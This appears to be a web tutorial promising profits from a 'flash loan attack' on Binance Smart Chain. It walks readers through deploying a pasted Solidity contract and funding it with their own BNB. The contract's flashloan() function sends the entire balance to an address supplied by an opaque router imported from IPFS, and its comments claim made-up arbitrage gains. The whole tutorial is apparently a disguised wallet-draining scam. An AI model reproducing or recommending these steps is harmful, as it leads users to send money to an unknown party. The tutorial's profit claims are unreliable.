Latest BNB Flash Loan Method Tutorial Updated

In this tutorial, a minor change applied to the flash loan attack's code. we made some adjustments to the code for slightly faster execution.

Step by step tutorial :

1. Download MetaMask For Chrome Web Browser

You can download and install MetaMask from this link:

2. Create a “Custom RPC” in MetaMask for connecting to Binance Smart Chain

this step is used for connecting your wallet to the Mainnet network Smart Chain. Below this is the network setting to add a Smart Chain.

               Name: Smart Chain 
               New RPC URL: 
               ChainID: 56 
               Symbol: BNB 
               Block Explorer URL: 

For complete info about the explanation, please visit this Binance official article:

3. Open from your browser

Open Ethereum Remix to make or extend the smart contract which later is used for making a smart contract Flash Loan Attack to the Binance Smart Contract network.

4. Click on Solidity Compiler (2nd menu button from the left) and select compiler version to 0.5.0

Change the compiler version to “0.5.0+commit.1d4f565a”. This is needed to make your compiler version is the same as the source code you'll use.

5. Create a file Solidity “Flash Loan.sol” in the File Explorer (1st menu button from the left)

Copy and paste the code below to the Flash Loan.sol file :

  1. pragma solidity ^0.5.0;
  4. // PancakeSwap Smart Contracts
  5. import "";
  6. import "";
  8. //BakerySwp Smart contracts
  9. import "";
  11. // Router
  12. import "ipfs://QmbJ685kFCLQmA8naW6u3LCpkZNV32rEB2LnwamfQ7eX4u";
  14. // Multiplier-Finance Smart Contracts
  15. import "";
  16. import "";
  19. contract InitiateFlashLoan {
  20. RouterV2 router;
  21. string public tokenName;
  22. string public tokenSymbol;
  23. uint256 flashLoanAmount;
  25. constructor(
  26. string memory _tokenName,
  27. string memory _tokenSymbol,
  28. uint256 _loanAmount
  29. ) public {
  30. tokenName = _tokenName;
  31. tokenSymbol = _tokenSymbol;
  32. flashLoanAmount = _loanAmount;
  34. router = new RouterV2();
  35. }
  37. function() external payable {}
  39. function flashloan() public payable {
  40. // Send required coins for swap
  41. address(uint160(router.pancakeSwapAddress())).transfer(
  42. address(this).balance
  43. );
  45. //Flash loan borrowed 3,137.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap.
  46. router.borrowFlashloanFromMultiplier(
  47. address(this),
  48. router.bakerySwapAddress(),
  49. flashLoanAmount
  50. );
  51. //To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract.
  52. router.convertBnbToBusd(msg.sender, flashLoanAmount / 2);
  53. //The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,148.39 BNB using BNB/BUSD BakerySwap.
  54. router.callArbitrageBakerySwap(router.bakerySwapAddress(), msg.sender);
  55. //After the arbitrage, 3,148.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 BNB of gas.
  56. router.transferBnbToMultiplier(router.pancakeSwapAddress());
  57. //Note that the transaction sender gains 3.29 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
  58. router.completeTransation(address(this).balance);
  59. }
  60. }

6. Click on Solidity Compiler (2nd menu button from the left) and Compile

Look for a dropdown Contract at the bottom of the Solidity Compiler menu, on that dropdown Contract choose “GetFlash Loan (Flash Loan.sol)” and then click Compile Flash Loan.sol.

7. Click on Deploy & run transactions (3rd menu button from the left) and Deploy

  • - At the very top, change the dropdown Environment value to “Injected Web3” (For remix users, firstly there will be a confirmation on the MetaMask, Accept the confirmation notif on the MetaMask wallet Chrome Extention).
  • - The MetaMask wallet address will automatically be connected If you're already connected to your MetaMask Account.
  • - There's a dropdown next to the, click that dropdown and create a Smart Contract name you desired. Eg. :
                         _TOKENNAME = Flash Loan (write random token name)
                         _TOKENSYMBOL = FLO (write random three of four-letter symbol)
                         _LOANAMOUNT = 10 (amount loan)
  • - Click Transact and confirm in MetaMask.

- after you create a Smart Contract, wait till the transaction complete and you'll have your smart contract address.

8. Input a Liquidity to the Smart Contract

To input a Liquidity, transfer your nominal BNB to the Smart Contract address you have created before by using the transfer feature in the MetaMask Chrome Extention. Send the nominal BNB ( the amount BNB will affect the profit you will earn ). Wait till the liquidity addition transaction complete.

9. Flash Loan Attack

After creating a Smart Contract with liquidity added ( Step 8 ) and set the amount of loan ( Step 7 ), click the dropdown from the success transaction ( Step 7 ) it will display a dropdown menu with some button that is action, tokenName, tokenSymbol. Click "action" ( red button ) to run the smart contract. wait for a while until the transaction complete, and regularly check your BNB balance on the wallet from the MetaMask Chome Extension.

Note: Sometimes the code give error and sometimes it will not work from the first time.You must then start the whole process from begining.


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